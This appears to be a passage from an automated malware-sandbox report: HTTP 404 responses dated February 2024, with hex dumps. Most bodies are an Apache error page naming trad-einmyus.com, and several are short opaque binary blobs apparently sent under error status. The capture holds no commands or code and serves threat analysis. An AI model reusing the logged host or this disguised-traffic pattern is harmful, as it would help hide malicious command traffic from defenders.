                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 08 Feb 2024 19:18:03 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: close
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:17:16 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 38 0d 0a 04 00 00 00 79 fa f7 19 0d 0a 30 0d 0a 0d 0a Data Ascii: 8y0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:17:16 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 74 72 61 64 2d 65 69 6e 6d 79 75 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at trad-einmyus.com Port 80</address></body></html>0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:17:17 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 64 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c6 86 4a 06 65 16 e3 ad 85 ab a2 14 b6 49 90 61 b8 5b 10 90 0a e6 e7 25 ef 2b 51 0d f3 ed d3 40 e1 12 99 07 84 ff 39 d0 6a ba 0d 0a 30 0d 0a 0d 0a Data Ascii: 3dI:82OJeIa[%+Q@9j0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:17:20 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 74 72 61 64 2d 65 69 6e 6d 79 75 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at trad-einmyus.com Port 80</address></body></html>0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:17:25 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 74 72 61 64 2d 65 69 6e 6d 79 75 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at trad-einmyus.com Port 80</address></body></html>0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:17:25 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 63 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c3 95 53 14 7e 13 e8 e8 8f bd a7 5e a0 10 91 60 a2 5f 53 90 1f bf ec 31 e5 0d 0a 30 0d 0a 0d 0a Data Ascii: 2cI:82OS~^`_S10
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:17:32 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 74 72 61 64 2d 65 69 6e 6d 79 75 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at trad-einmyus.com Port 80</address></body></html>0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:17:33 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 74 72 61 64 2d 65 69 6e 6d 79 75 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at trad-einmyus.com Port 80</address></body></html>0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:17:35 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 74 72 61 64 2d 65 69 6e 6d 79 75 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at trad-einmyus.com Port 80</address></body></html>0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:17:36 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 74 72 61 64 2d 65 69 6e 6d 79 75 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at trad-einmyus.com Port 80</address></body></html>0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:17:36 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 74 72 61 64 2d 65 69 6e 6d 79 75 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at trad-einmyus.com Port 80</address></body></html>0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:17:39 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 74 72 61 64 2d 65 69 6e 6d 79 75 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at trad-einmyus.com Port 80</address></body></html>0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:17:42 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 74 72 61 64 2d 65 69 6e 6d 79 75 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at trad-einmyus.com Port 80</address></body></html>0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:17:43 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 74 72 61 64 2d 65 69 6e 6d 79 75 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data 